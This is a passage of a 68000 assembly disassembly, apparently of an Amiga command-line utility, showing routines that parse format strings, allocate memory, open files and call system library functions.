MOVEA.L A2,A0 ;06EC: 204A
MOVE.L A0,48(A7) ;06EE: 2F480030
MOVE.L A2,D0 ;06F2: 200A
BNE.S LAB_0007 ;06F4: 6612
MOVEA.L A3,A6 ;06F6: 2C4B
JSR -132(A6) ;06F8: 4EAEFF7C
MOVE.L D0,D1 ;06FC: 2200
MOVEQ #0,D2 ;06FE: 7400
JSR -474(A6) ;0700: 4EAEFE26
BRA LAB_0059 ;0704: 600007C0
LAB_0007:
MOVEA.L 52(A7),A3 ;0708: 266F0034
MOVEA.L 48(A7),A2 ;070C: 246F0030
MOVE.L A3,(A2) ;0710: 248B
LEA 4(A2),A0 ;0712: 41EA0004
MOVE.L A0,D2 ;0716: 2408
LEA LAB_005E(PC),A1 ;0718: 43FA07E0
MOVE.L A1,D1 ;071C: 2209
MOVEQ #0,D3 ;071E: 7600
MOVEA.L A3,A6 ;0720: 2C4B
JSR -798(A6) ;0722: 4EAEFCE2
MOVE.L D0,44(A7) ;0726: 2F40002C
TST.L D0 ;072A: 4A80
BNE.S LAB_0008 ;072C: 6610
JSR -132(A6) ;072E: 4EAEFF7C
MOVE.L D0,D1 ;0732: 2200
MOVE.L D3,D2 ;0734: 2403
JSR -474(A6) ;0736: 4EAEFE26
BRA LAB_0058 ;073A: 60000776
LAB_0008:
MOVEA.L 60(A2),A0 ;073E: 206A003C
MOVE.L A0,38(A7) ;0742: 2F480026
MOVE.L A0,D1 ;0746: 2208
BEQ.S LAB_000A ;0748: 670E
MOVEA.L A0,A1 ;074A: 2248
LAB_0009:
TST.B (A1)+ ;074C: 4A19
BNE.S LAB_0009 ;074E: 66FC
SUBQ.L #1,A1 ;0750: 5389
SUBA.L A0,A1 ;0752: 93C8
MOVE.L A1,D1 ;0754: 2209
BRA.S LAB_000B ;0756: 6002
LAB_000A:
MOVEQ #32,D1 ;0758: 7220
LAB_000B:
MOVE.L D1,D2 ;075A: 2401
ADD.L D2,D2 ;075C: D482
MOVE.L D2,D7 ;075E: 2E02
MOVE.L D7,D2 ;0760: 2407
ADD.L D1,D2 ;0762: D481
ADDQ.L #1,D2 ;0764: 5282
MOVE.L D2,D0 ;0766: 2002
MOVE.L #$00010001,D1 ;0768: 223C00010001
MOVEA.L 56(A7),A6 ;076E: 2C6F0038
JSR -684(A6) ;0772: 4EAEFD54
MOVE.L D0,96(A2) ;0776: 25400060
BNE.S LAB_000C ;077A: 6612
MOVEA.L A3,A6 ;077C: 2C4B
JSR -132(A6) ;077E: 4EAEFF7C
MOVE.L D0,D1 ;0782: 2200
MOVE.L D3,D2 ;0784: 2403
JSR -474(A6) ;0786: 4EAEFE26
BRA LAB_0055 ;078A: 600006DC
LAB_000C:
MOVEA.L 48(A7),A2 ;078E: 246F0030
MOVEA.L 96(A2),A0 ;0792: 206A0060
ADDA.L D7,A0 ;0796: D1C7
LEA 1(A0),A1 ;0798: 43E80001
MOVE.L A1,100(A2) ;079C: 25490064
TST.L 38(A7) ;07A0: 4AAF0026
BEQ LAB_0021 ;07A4: 670001B2
MOVEQ #0,D0 ;07A8: 7000
MOVE.L D0,112(A2) ;07AA: 25400070
MOVE.L D0,D7 ;07AE: 2E00
BRA.S LAB_000F ;07B0: 6020
LAB_000D:
ADDA.L D7,A3 ;07B2: D7C7
MOVEQ #37,D0 ;07B4: 7025
CMP.B (A3),D0 ;07B6: B013
BNE.S LAB_000E ;07B8: 6616
MOVEQ #95,D0 ;07BA: 705F
AND.B 1(A3),D0 ;07BC: C02B0001
MOVEQ #83,D1 ;07C0: 7253
CMP.B D1,D0 ;07C2: B001
BNE.S LAB_000E ;07C4: 660A
MOVE.B #$73,1(A3) ;07C6: 177C00730001
ADDQ.L #1,112(A2) ;07CC: 52AA0070
LAB_000E:
ADDQ.L #1,D7 ;07D0: 5287
LAB_000F:
MOVEA.L 38(A7),A3 ;07D2: 266F0026
MOVEA.L A3,A0 ;07D6: 204B
LAB_0010:
TST.B (A0)+ ;07D8: 4A18
BNE.S LAB_0010 ;07DA: 66FC
SUBQ.L #1,A0 ;07DC: 5388
SUBA.L A3,A0 ;07DE: 91CB
CMP.L A0,D7 ;07E0: BE88
BLT.S LAB_000D ;07E2: 6DCE
MOVEQ #0,D6 ;07E4: 7C00
MOVEQ #0,D5 ;07E6: 7A00
MOVEQ #0,D4 ;07E8: 7800
CLR.L -584(A5) ;07EA: 42ADFDB8
BRA LAB_001F ;07EE: 60000150
LAB_0011:
CLR.B -560(A5) ;07F2: 422DFDD0
MOVEA.L 96(A2),A0 ;07F6: 206A0060
ADDA.L D5,A0 ;07FA: D1C5
ADDQ.L #1,D5 ;07FC: 5285
MOVE.B 0(A3,D6.L),D0 ;07FE: 10336800
MOVE.B D0,(A0) ;0802: 1080
MOVEQ #37,D0 ;0804: 7025
CMP.B 0(A3,D6.L),D0 ;0806: B0336800
BNE LAB_001E ;080A: 66000132
MOVEQ #0,D7 ;080E: 7E00
BRA.S LAB_0013 ;0810: 6008
LAB_0012:
ADDQ.L #1,D7 ;0812: 5287
MOVE.B 1(A2),(A3) ;0814: 16AA0001
ADDQ.L #1,D6 ;0818: 5286
LAB_0013:
MOVEA.L 38(A7),A0 ;081A: 206F0026
ADDA.L D6,A0 ;081E: D1C6
MOVEA.L A0,A2 ;0820: 2448
LEA -560(A5),A0 ;0822: 41EDFDD0
ADDA.L D7,A0 ;0826: D1C7
MOVEA.L A0,A3 ;0828: 2648
MOVE.B 1(A2),D0 ;082A: 102A0001
MOVEQ #45,D1 ;082E: 722D
CMP.B D1,D0 ;0830: B001
BEQ.S LAB_0012 ;0832: 67DE
MOVEQ #48,D1 ;0834: 7230
CMP.B D1,D0 ;0836: B001
BLT.S LAB_0014 ;0838: 6D06
MOVEQ #57,D1 ;083A: 7239
CMP.B D1,D0 ;083C: B001
BLE.S LAB_0012 ;083E: 6FD2
LAB_0014:
MOVEQ #46,D1 ;0840: 722E
CMP.B D1,D0 ;0842: B001
BEQ.S LAB_0012 ;0844: 67CC
CLR.B (A3) ;0846: 4213
MOVEQ #95,D0 ;0848: 705F
AND.B 1(A2),D0 ;084A: C02A0001
MOVE.B D0,D1 ;084E: 1200
EXT D1 ;0850: 4881
MOVE.B D0,36(A7) ;0852: 1F400024
SUBI #$0041,D1 ;0856: 04410041
BLT LAB_001A ;085A: 6D0000A8
CMPI #$0014,D1 ;085E: 0C410014
BGE LAB_001A ;0862: 6C0000A0
ADD D1,D1 ;0866: D241
MOVE LAB_0015(PC,D1.W),D1 ;0868: 323B1006
JMP LAB_0015+2(PC,D1.W) ;086C: 4EFB1004
LAB_0015:
ORI.B #$26,-(A6) ;0870: 00260026
ORI.B #$26,-(A6) ;0874: 00260026
ORI.B #$26,-(A6) ;0878: 00260026
ORI.L #$00920092,(A2) ;087C: 009200920092
ORI.L #$00260026,(A2) ;0882: 009200260026
ORI.B #$26,-(A6) ;0888: 00260026
ORI.L #$00260092,(A2) ;088C: 009200260092
ORI.L #$00440026,(A2) ;0892: 009200440026
MOVE.B #$73,1(A2) ;0898: 157C00730001
MOVEA.L 48(A7),A2 ;089E: 246F0030
MOVEA.L 100(A2),A0 ;08A2: 206A0064
ADDA.L D4,A0 ;08A6: D1C4
ADDQ.L #1,D4 ;08A8: 5284
MOVE.B 36(A7),D0 ;08AA: 102F0024
ADDI.B #$20,D0 ;08AE: 06000020
MOVE.B D0,(A0) ;08B2: 1080
BRA.S LAB_001B ;08B4: 605E
ADDQ.L #1,-584(A5) ;08B6: 52ADFDB8
MOVEA.L 48(A7),A2 ;08BA: 246F0030
MOVEA.L 100(A2),A0 ;08BE: 206A0064
ADDA.L D4,A0 ;08C2: D1C4
MOVEA.L A0,A3 ;08C4: 2648
MOVE.L D4,D7 ;08C6: 2E04
ADDQ.L #1,D7 ;08C8: 5287
MOVE.L -584(A5),D4 ;08CA: 282DFDB8
MOVE.L 112(A2),D0 ;08CE: 202A0070
MOVEQ #3,D1 ;08D2: 7203
CMP.L D1,D0 ;08D4: B081
BLE.S LAB_0018 ;08D6: 6F12
MOVEQ #1,D2 ;08D8: 7401
CMP.L D2,D4 ;08DA: B882
BEQ.S LAB_0017 ;08DC: 6704
CMP.L D1,D4 ;08DE: B881
BNE.S LAB_0018 ;08E0: 6608
LAB_0017:
MOVE.L D7,D4 ;08E2: 2807
MOVEQ #112,D1 ;08E4: 7270
MOVE.B D1,(A3) ;08E6: 1681
BRA.S LAB_001B ;08E8: 602A
LAB_0018:
MOVEQ #1,D1 ;08EA: 7201
CMP.L D1,D0 ;08EC: B081
BLE.S LAB_0019 ;08EE: 6F0C
CMP.L D1,D4 ;08F0: B881
BNE.S LAB_0019 ;08F2: 6608
MOVE.L D7,D4 ;08F4: 2807
MOVE.B #$70,(A3) ;08F6: 16BC0070
BRA.S LAB_001B ;08FA: 6018
LAB_0019:
MOVE.L D7,D4 ;08FC: 2807
MOVE.B #$6E,(A3) ;08FE: 16BC006E
BRA.S LAB_001B ;0902: 6010
LAB_001A:
MOVEA.L 48(A7),A2 ;0904: 246F0030
MOVEA.L 96(A2),A0 ;0908: 206A0060
ADDA.L D5,A0 ;090C: D1C5
ADDQ.L #1,D5 ;090E: 5285
MOVE.B #$25,(A0) ;0910: 10BC0025
LAB_001B:
TST.B -560(A5) ;0914: 4A2DFDD0
BEQ.S LAB_001E ;0918: 6724
MOVEQ #0,D7 ;091A: 7E00
BRA.S LAB_001D ;091C: 6012
LAB_001C:
MOVEA.L 96(A2),A0 ;091E: 206A0060
ADDA.L D5,A0 ;0922: D1C5
ADDQ.L #1,D5 ;0924: 5285
LEA -560(A5),A1 ;0926: 43EDFDD0
ADDA.L D7,A1 ;092A: D3C7
ADDQ.L #1,D7 ;092C: 5287
MOVE.B (A1),(A0) ;092E: 1091
LAB_001D:
LEA -560(A5),A0 ;0930: 41EDFDD0
ADDA.L D7,A0 ;0934: D1C7
TST.B (A0) ;0936: 4A10
BNE.S LAB_001C ;0938: 66E4
CLR.B -560(A5) ;093A: 422DFDD0
LAB_001E:
ADDQ.L #1,D6 ;093E: 5286
LAB_001F:
MOVEA.L 38(A7),A3 ;0940: 266F0026
MOVEA.L A3,A0 ;0944: 204B
LAB_0020:
TST.B (A0)+ ;0946: 4A18
BNE.S LAB_0020 ;0948: 66FC
SUBQ.L #1,A0 ;094A: 5388
SUBA.L A3,A0 ;094C: 91CB
CMP.L A0,D6 ;094E: BC88
BLT LAB_0011 ;0950: 6D00FEA0
BRA LAB_002E ;0954: 60000104
LAB_0021:
MOVEQ #1,D7 ;0958: 7E01
MOVEA.L 100(A2),A0 ;095A: 206A0064
MOVE.B #$6E,(A0) ;095E: 10BC006E
TST.L 40(A2) ;0962: 4AAA0028
BNE LAB_002A ;0966: 660000BE
TST.L 12(A2) ;096A: 4AAA000C
BEQ.S LAB_0023 ;096E: 671A
LEA LAB_0061(PC),A0 ;0970: 41FA061E
MOVEA.L 96(A2),A1 ;0974: 226A0060
LAB_0022:
MOVE.B (A0)+,(A1)+ ;0978: 12D8
BNE.S LAB_0022 ;097A: 66FC
MOVEQ #2,D7 ;097C: 7E02
MOVEA.L 100(A2),A0 ;097E: 206A0064
MOVE.B #$6B,1(A0) ;0982: 117C006B0001
BRA.S LAB_0025 ;0988: 600C
LAB_0023:
LEA LAB_0062(PC),A0 ;098A: 41FA0610
MOVEA.L 96(A2),A1 ;098E: 226A0060
LAB_0024:
MOVE.B (A0)+,(A1)+ ;0992: 12D8
BNE.S LAB_0024 ;0994: 66FC
LAB_0025:
MOVEA.L 96(A2),A0 ;0996: 206A0060
LEA LAB_0063(PC),A1 ;099A: 43FA0606
JSR LAB_00F2(PC) ;099E: 4EBA1064
MOVEA.L 100(A2),A0 ;09A2: 206A0064
ADDA.L D7,A0 ;09A6: D1C7
MOVEA.L A0,A3 ;09A8: 2648
ADDQ.L #1,D7 ;09AA: 5287
TST.L 44(A2) ;09AC: 4AAA002C
BEQ.S LAB_0026 ;09B0: 6706
MOVE.B #$62,(A3) ;09B2: 16BC0062
BRA.S LAB_0027 ;09B6: 6004
LAB_0026:
MOVE.B #$6C,(A3) ;09B8: 16BC006C
LAB_0027:
MOVEA.L 96(A2),A0 ;09BC: 206A0060
LEA LAB_0064(PC),A1 ;09C0: 43FA05E6
JSR LAB_00F2(PC) ;09C4: 4EBA103E
MOVEA.L 100(A2),A0 ;09C8: 206A0064
ADDA.L D7,A0 ;09CC: D1C7
ADDQ.L #1,D7 ;09CE: 5287
MOVE.B #$61,(A0) ;09D0: 10BC0061
TST.L 20(A2) ;09D4: 4AAA0014
BNE.S LAB_0028 ;09D8: 6628
MOVEA.L 96(A2),A0 ;09DA: 206A0060
LEA LAB_0065(PC),A1 ;09DE: 43FA05CC
JSR LAB_00F2(PC) ;09E2: 4EBA1020
MOVE.L D7,D0 ;09E6: 2007
MOVEA.L 100(A2),A0 ;09E8: 206A0064
MOVEA.L A0,A1 ;09EC: 2248
ADDA.L D0,A1 ;09EE: D3C0
MOVE.B #$64,(A1) ;09F0: 12BC0064
ADDQ.L #2,D7 ;09F4: 5487
MOVEA.L 100(A2),A0 ;09F6: 206A0064
ADDA.L D0,A0 ;09FA: D1C0
MOVE.B #$74,1(A0) ;09FC: 117C00740001
LAB_0028:
LEA 158(A2),A0 ;0A02: 41EA009E
LEA LAB_0066+4(PC),A1 ;0A06: 43FA05AE
LAB_0029:
MOVE.B (A1)+,(A0)+ ;0A0A: 10D9
BNE.S LAB_0029 ;0A0C: 66FC
MOVEA.L 96(A2),A0 ;0A0E: 206A0060
LEA LAB_0067(PC),A1 ;0A12: 43FA05A6
JSR LAB_00F2(PC) ;0A16: 4EBA0FEC
MOVEA.L 100(A2),A0 ;0A1A: 206A0064
ADDA.L D7,A0 ;0A1E: D1C7
MOVE.B #$63,(A0) ;0A20: 10BC0063
BRA.S LAB_002E ;0A24: 6034
LAB_002A:
TST.L 16(A2) ;0A26: 4AAA0010
BEQ.S LAB_002C ;0A2A: 6722
LEA LAB_0068(PC),A0 ;0A2C: 41FA0590
MOVEA.L 96(A2),A1 ;0A30: 226A0060
LAB_002B:
MOVE.B (A0)+,(A1)+ ;0A34: 12D8
BNE.S LAB_002B ;0A36: 66FC
MOVEA.L 100(A2),A0 ;0A38: 206A0064
MOVE.B #$64,1(A0) ;0A3C: 117C00640001
MOVEA.L 100(A2),A0 ;0A42: 206A0064
MOVE.B #$74,2(A0) ;0A46: 117C00740002
BRA.S LAB_002E ;0A4C: 600C
LAB_002C:
LEA LAB_0067(PC),A0 ;0A4E: 41FA056A
MOVEA.L 96(A2),A1 ;0A52: 226A0060
LAB_002D:
MOVE.B (A0)+,(A1)+ ;0A56: 12D8
BNE.S LAB_002D ;0A58: 66FC
LAB_002E:
MOVEA.L 100(A2),A0 ;0A5A: 206A0064
LAB_002F:
TST.B (A0)+ ;0A5E: 4A18
BNE.S LAB_002F ;0A60: 66FC
SUBQ.L #1,A0 ;0A62: 5388
SUBA.L 100(A2),A0 ;0A64: 91EA0064
MOVE.L A0,D0 ;0A68: 2008
MOVEQ #4,D1 ;0A6A: 7204
CMP.L D1,D0 ;0A6C: B081
BLE.S LAB_0031 ;0A6E: 6F12
MOVEA.L 100(A2),A0 ;0A70: 206A0064
LAB_0030:
TST.B (A0)+ ;0A74: 4A18
BNE.S LAB_0030 ;0A76: 66FC
SUBQ.L #1,A0 ;0A78: 5388
SUBA.L 100(A2),A0 ;0A7A: 91EA0064
MOVE.L A0,D0 ;0A7E: 2008
BRA.S LAB_0032 ;0A80: 6002
LAB_0031:
MOVE.L D1,D0 ;0A82: 2001
LAB_0032:
ASL.L #2,D0 ;0A84: E580
MOVEQ #3,D1 ;0A86: 7203
MOVEA.L 56(A7),A6 ;0A88: 2C6F0038
JSR -684(A6) ;0A8C: 4EAEFD54
MOVE.L D0,104(A2) ;0A90: 25400068
BNE.S LAB_0033 ;0A94: 6616
MOVEA.L 52(A7),A3 ;0A96: 266F0034
MOVEA.L A3,A6 ;0A9A: 2C4B
JSR -132(A6) ;0A9C: 4EAEFF7C
MOVE.L D0,D1 ;0AA0: 2200
MOVEQ #0,D2 ;0AA2: 7400
JSR -474(A6) ;0AA4: 4EAEFE26
BRA LAB_0055 ;0AA8: 600003BE
LAB_0033:
MOVEA.L 48(A7),A2 ;0AAC: 246F0030
MOVEA.L 52(A7),A3 ;0AB0: 266F0034
TST.L 16(A2) ;0AB4: 4AAA0010
BEQ.S LAB_0034 ;0AB8: 6716
TST.L 20(A2) ;0ABA: 4AAA0014
BEQ.S LAB_0034 ;0ABE: 6710
LEA LAB_0069(PC),A0 ;0AC0: 41FA050A
MOVE.L A0,D1 ;0AC4: 2208
MOVEA.L A3,A6 ;0AC6: 2C4B
JSR -948(A6) ;0AC8: 4EAEFC4C
BRA LAB_0055 ;0ACC: 6000039A
LAB_0034:
MOVE.L 24(A2),D0 ;0AD0: 202A0018
BEQ.S LAB_0036 ;0AD4: 6742
MOVE.L D0,D1 ;0AD6: 2200
MOVE.L #$000003EE,D2 ;0AD8: 243C000003EE
MOVEA.L A3,A6 ;0ADE: 2C4B
JSR -30(A6) ;0AE0: 4EAEFFE2
MOVE.L D0,D7 ;0AE4: 2E00
MOVE.L D7,-576(A5) ;0AE6: 2B47FDC0
TST.L D7 ;0AEA: 4A87
BNE.S LAB_0035 ;0AEC: 6620
LEA 24(A2),A0 ;0AEE: 41EA0018
MOVE.L A0,D2 ;0AF2: 2408
LEA LAB_006B(PC),A1 ;0AF4: 43FA0504
MOVE.L A1,D1 ;0AF8: 2209
JSR -954(A6) ;0AFA: 4EAEFC46
JSR -132(A6) ;0AFE: 4EAEFF7C
MOVE.L D0,D1 ;0B02: 2200
MOVEQ #0,D2 ;0B04: 7400
JSR -474(A6) ;0B06: 4EAEFE26
BRA LAB_0055 ;0B0A: 6000035C
LAB_0035:
MOVE.L D7,D1 ;0B0E: 2207
JSR -300(A6) ;0B10: 4EAEFED4
MOVE.L D0,-580(A5) ;0B14: 2B40FDBC
LAB_0036:
MOVE.L #$0000021A,D0 ;0B18: 203C0000021A
MOVE.L #$00010001,D1 ;0B1E: 223C00010001
MOVEA.L 56(A7),A6 ;0B24: 2C6F0038
JSR -684(A6) ;0B28: 4EAEFD54
MOVE.L D0,40(A7) ;0B2C: 2F400028
TST.L D0 ;0B30: 4A80
BNE.S LAB_0037 ;0B32: 6612
MOVEA.L A3,A6 ;0B34: 2C4B
JSR -132(A6) ;0B36: 4EAEFF7C
MOVE.L D0,D1 ;0B3A: 2200
MOVEQ #0,D2 ;0B3C: 7400
JSR -474(A6) ;0B3E: 4EAEFE26
BRA LAB_0054 ;0B42: 60000300
LAB_0037:
LEA 120(A2),A0 ;0B46: 41EA0078
MOVE.L A0,36(A7) ;0B4A: 2F480024
MOVE.L A0,D1 ;0B4E: 2208
MOVEA.L A3,A6 ;0B50: 2C4B
JSR -192(A6) ;0B52: 4EAEFF40
TST.L 32(A2) ;0B56: 4AAA0020
BEQ.S LAB_003D ;0B5A: 6776
LEA 132(A2),A3 ;0B5C: 47EA0084
MOVEQ #11,D0 ;0B60: 700B
MOVEA.L 36(A7),A0 ;0B62: 206F0024
MOVEA.L A3,A1 ;0B66: 224B
LAB_0038:
MOVE.B (A0)+,(A1)+ ;0B68: 12D8
DBF D0,LAB_0038 ;0B6A: 51C8FFFC
CLR.B 144(A2) ;0B6E: 422A0090
MOVE.B #$01,145(A2) ;0B72: 157C00010091
MOVE.L 32(A2),150(A2) ;0B78: 256A00200096
LEA LAB_006D(PC),A0 ;0B7E: 41FA0490
MOVE.L A0,154(A2) ;0B82: 2548009A
MOVE.L A3,D1 ;0B86: 220B
MOVEA.L 52(A7),A6 ;0B88: 2C6F0034
JSR -750(A6) ;0B8C: 4EAEFD12
TST.L D0 ;0B90: 4A80
BNE.S LAB_003B ;0B92: 6630
CLR.L 150(A2) ;0B94: 42AA0096
MOVE.L 32(A2),154(A2) ;0B98: 256A0020009A
MOVE.L A3,D1 ;0B9E: 220B
JSR -750(A6) ;0BA0: 4EAEFD12
TST.L D0 ;0BA4: 4A80
BNE.S LAB_0039 ;0BA6: 660C
LEA LAB_006E(PC),A0 ;0BA8: 41FA0470
MOVE.L A0,D1 ;0BAC: 2208
JSR -948(A6) ;0BAE: 4EAEFC4C
BRA.S LAB_003D ;0BB2: 601E
LAB_0039:
MOVEQ #11,D0 ;0BB4: 700B
MOVEA.L A3,A0 ;0BB6: 204B
LEA -36(A5),A1 ;0BB8: 43EDFFDC
LAB_003A:
MOVE.B (A0)+,(A1)+ ;0BBC: 12D8
DBF D0,LAB_003A ;0BBE: 51C8FFFC
BRA.S LAB_003D ;0BC2: 600E
LAB_003B:
MOVEQ #11,D0 ;0BC4: 700B
MOVEA.L A3,A0 ;0BC6: 204B
LEA -36(A5),A1 ;0BC8: 43EDFFDC
LAB_003C:
MOVE.B (A0)+,(A1)+ ;0BCC: 12D8
DBF D0,LAB_003C ;0BCE: 51C8FFFC
LAB_003D:
TST.L 36(A2) ;0BD2: 4AAA0024
BEQ.S LAB_0043 ;0BD6: 6776
LEA 132(A2),A3 ;0BD8: 47EA0084
MOVEQ #11,D0 ;0BDC: 700B
MOVEA.L 36(A7),A0 ;0BDE: 206F0024
MOVEA.L A3,A1 ;0BE2: 224B
LAB_003E:
MOVE.B (A0)+,(A1)+ ;0BE4: 12D8
DBF D0,LAB_003E ;0BE6: 51C8FFFC
CLR.B 144(A2) ;0BEA: 422A0090
MOVE.B #$01,145(A2) ;0BEE: 157C00010091
MOVE.L 36(A2),150(A2) ;0BF4: 256A00240096
LEA LAB_0071(PC),A0 ;0BFA: 41FA0452
MOVE.L A0,154(A2) ;0BFE: 2548009A
MOVE.L A3,D1 ;0C02: 220B
MOVEA.L 52(A7),A6 ;0C04: 2C6F0034
JSR -750(A6) ;0C08: 4EAEFD12
TST.L D0 ;0C0C: 4A80
BNE.S LAB_0041 ;0C0E: 6630
CLR.L 150(A2) ;0C10: 42AA0096
MOVE.L 36(A2),154(A2) ;0C14: 256A0024009A
MOVE.L A3,D1 ;0C1A: 220B
JSR -750(A6) ;0C1C: 4EAEFD12
TST.L D0 ;0C20: 4A80
BNE.S LAB_003F ;0C22: 660C
LEA LAB_006E(PC),A0 ;0C24: 41FA03F4
MOVE.L A0,D1 ;0C28: 2208
JSR -948(A6) ;0C2A: 4EAEFC4C
BRA.S LAB_0043 ;0C2E: 601E
LAB_003F:
MOVEQ #11,D0 ;0C30: 700B
MOVEA.L A3,A0 ;0C32: 204B
LEA -48(A5),A1 ;0C34: 43EDFFD0
LAB_0040:
MOVE.B (A0)+,(A1)+ ;0C38: 12D8
DBF D0,LAB_0040 ;0C3A: 51C8FFFC
BRA.S LAB_0043 ;0C3E: 600E
LAB_0041:
MOVEQ #11,D0 ;0C40: 700B
MOVEA.L A3,A0 ;0C42: 204B
LEA -48(A5),A1 ;0C44: 43EDFFD0
LAB_0042:
MOVE.B (A0)+,(A1)+ ;0C48: 12D8
DBF D0,LAB_0042 ;0C4A: 51C8FFFC
LAB_0043:
MOVEA.L 4(A2),A0 ;0C4E: 206A0004
MOVE.L A0,-564(A5) ;0C52: 2B48FDCC
BNE LAB_004A ;0C56: 660000EC
LEA -572(A5),A0 ;0C5A: 41EDFDC4
MOVE.L A0,-564(A5) ;0C5E: 2B48FDCC
BRA LAB_004A ;0C62: 600000E0
LAB_0044:
MOVEA.L A3,A0 ;0C66: 204B
MOVEA.L 52(A7),A3 ;0C68: 266F0034
MOVE.L A0,D0 ;0C6C: 2008
BEQ.S LAB_0046 ;0C6E: 672A
MOVEA.L 80(A2),A0 ;0C70: 206A0050
ADDQ.L #4,A0 ;0C74: 5888
LEA -304(A5),A1 ;0C76: 43EDFED0
LAB_0045:
MOVE.B (A0)+,(A1)+ ;0C7A: 12D8
BNE.S LAB_0045 ;0C7C: 66FC
MOVEA.L 80(A2),A0 ;0C7E: 206A0050
MOVEA.L (A0),A1 ;0C82: 2250
MOVE.L A1,36(A7) ;0C84: 2F490024
MOVEA.L A0,A1 ;0C88: 2248
MOVEA.L 56(A7),A6 ;0C8A: 2C6F0038
JSR -690(A6) ;0C8E: 4EAEFD4E
MOVE.L 36(A7),80(A2) ;0C92: 256F00240050
BRA.S LAB_0047 ;0C98: 6020
LAB_0046:
CLR.B -304(A5) ;0C9A: 422DFED0
MOVEA.L -564(A5),A0 ;0C9E: 206DFDCC
ADDQ.L #4,-564(A5) ;0CA2: 58ADFDCC
LEA -304(A5),A1 ;0CA6: 43EDFED0
MOVE.L A1,D1 ;0CAA: 2209
MOVE.L (A0),D2 ;0CAC: 2410
MOVE.L #$00000100,D3 ;0CAE: 263C00000100
MOVEA.L A3,A6 ;0CB4: 2C4B
JSR -882(A6) ;0CB6: 4EAEFC8E
LAB_0047:
MOVE.L 8(A2),D0 ;0CBA: 202A0008
BEQ.S LAB_0048 ;0CBE: 6716
LEA 210(A2),A0 ;0CC0: 41EA00D2
MOVE.L D0,D1 ;0CC4: 2200
MOVE.L A0,D2 ;0CC6: 2408
MOVE.L #$00000200,D3 ;0CC8: 263C00000200
MOVEA.L A3,A6 ;0CCE: 2C4B
JSR -966(A6) ;0CD0: 4EAEFC3A
BRA.S LAB_0049 ;0CD4: 6044
LAB_0048:
TST.L 28(A2) ;0CD6: 4AAA001C
BEQ.S LAB_0049 ;0CDA: 673E
LEA LAB_0073(PC),A0 ;0CDC: 41FA037A
LEA -560(A5),A1 ;0CE0: 43EDFDD0
MOVE (A0),(A1)+ ;0CE4: 32D0
CLR.B (A1) ;0CE6: 4211
MOVEA.L 28(A2),A0 ;0CE8: 206A001C
MOVEA.L A0,A1 ;0CEC: 2248
LEA -560(A5),A0 ;0CEE: 41EDFDD0
JSR LAB_00F2(PC) ;0CF2: 4EBA0D10
LEA -560(A5),A0 ;0CF6: 41EDFDD0
LEA LAB_0073(PC),A1 ;0CFA: 43FA035C
JSR LAB_00F2(PC) ;0CFE: 4EBA0D04
LEA 722(A2),A0 ;0D02: 41EA02D2
MOVE.L A0,D2 ;0D06: 2408
LEA -560(A5),A1 ;0D08: 43EDFDD0
MOVE.L A1,D1 ;0D0C: 2209
MOVE.L #$00000200,D3 ;0D0E: 263C00000200
MOVEA.L A3,A6 ;0D14: 2C4B
JSR -966(A6) ;0D16: 4EAEFC3A
LAB_0049:
PEA -48(A5) ;0D1A: 486DFFD0
PEA -36(A5) ;0D1E: 486DFFDC
MOVE.L 48(A7),-(A7) ;0D22: 2F2F0030
MOVEA.L A2,A0 ;0D26: 204A
LEA -304(A5),A1 ;0D28: 43EDFED0
BSR LAB_0096 ;0D2C: 61000410
LEA 12(A7),A7 ;0D30: 4FEF000C
MOVEQ #5,D1 ;0D34: 7205
CMP.L D1,D0 ;0D36: B081
BGT.S LAB_004B ;0D38: 6E22
MOVEA.L 48(A7),A2 ;0D3A: 246F0030
TST.L 116(A2) ;0D3E: 4AAA0074
BNE.S LAB_004B ;0D42: 6618
LAB_004A:
MOVEA.L 48(A7),A2 ;0D44: 246F0030
MOVEA.L 80(A2),A3 ;0D48: 266A0050
MOVEA.L -564(A5),A0 ;0D4C: 206DFDCC
TST.L (A0) ;0D50: 4A90
BNE LAB_0044 ;0D52: 6600FF12
MOVE.L A3,D0 ;0D56: 200B
BNE LAB_0044 ;0D58: 6600FF0C
LAB_004B:
MOVEA.L 52(A7),A3 ;0D5C: 266F0034
TST.L 60(A2) ;0D60: 4AAA003C
BNE LAB_0054 ;0D64: 660000DE
TST.L 48(A2) ;0D68: 4AAA0030
BNE LAB_0054 ;0D6C: 660000D6
TST.L 64(A2) ;0D70: 4AAA0040
BEQ LAB_0054 ;0D74: 670000CE
MOVE.L 88(A2),D0 ;0D78: 202A0058
ADD.L 84(A2),D0 ;0D7C: D0AA0054
BEQ LAB_0054 ;0D80: 670000C2
LEA LAB_0074(PC),A0 ;0D84: 41FA02D6
MOVE.L A0,D1 ;0D88: 2208
MOVEA.L A3,A6 ;0D8A: 2C4B
JSR -948(A6) ;0D8C: 4EAEFC4C
TST.L 56(A2) ;0D90: 4AAA0038
BNE.S LAB_004E ;0D94: 6638
MOVE.L 88(A2),D0 ;0D96: 202A0058
BEQ.S LAB_004E ;0D9A: 6732
MOVEA.L 104(A2),A0 ;0D9C: 206A0068
MOVE.L D0,(A0) ;0DA0: 2080
LEA 4(A0),A3 ;0DA2: 47E80004
CMPI.L #$00000001,88(A2) ;0DA6: 0CAA000000010058
BLE.S LAB_004C ;0DAE: 6F08
LEA LAB_0075(PC),A1 ;0DB0: 43FA02B4
MOVE.L A1,(A3) ;0DB4: 2689
BRA.S LAB_004D ;0DB6: 6006
LAB_004C:
LEA LAB_0076(PC),A1 ;0DB8: 43FA02B2
MOVE.L A1,(A3) ;0DBC: 2689
LAB_004D:
MOVE.L A0,D2 ;0DBE: 2408
LEA LAB_0077(PC),A1 ;0DC0: 43FA02B0
MOVE.L A1,D1 ;0DC4: 2209
MOVEA.L 52(A7),A6 ;0DC6: 2C6F0034
JSR -954(A6) ;0DCA: 4EAEFC46
LAB_004E:
TST.L 52(A2) ;0DCE: 4AAA0034
BNE.S LAB_0051 ;0DD2: 6638
MOVE.L 84(A2),D0 ;0DD4: 202A0054
BEQ.S LAB_0051 ;0DD8: 6732
MOVEA.L 104(A2),A0 ;0DDA: 206A0068
MOVE.L D0,(A0) ;0DDE: 2080
LEA 4(A0),A3 ;0DE0: 47E80004
CMPI.L #$00000001,84(A2) ;0DE4: 0CAA000000010054
BLE.S LAB_004F ;0DEC: 6F08
LEA LAB_0079(PC),A1 ;0DEE: 43FA028C
MOVE.L A1,(A3) ;0DF2: 2689
BRA.S LAB_0050 ;0DF4: 6006
LAB_004F:
LEA LAB_007A(PC),A1 ;0DF6: 43FA0290
MOVE.L A1,(A3) ;0DFA: 2689
LAB_0050:
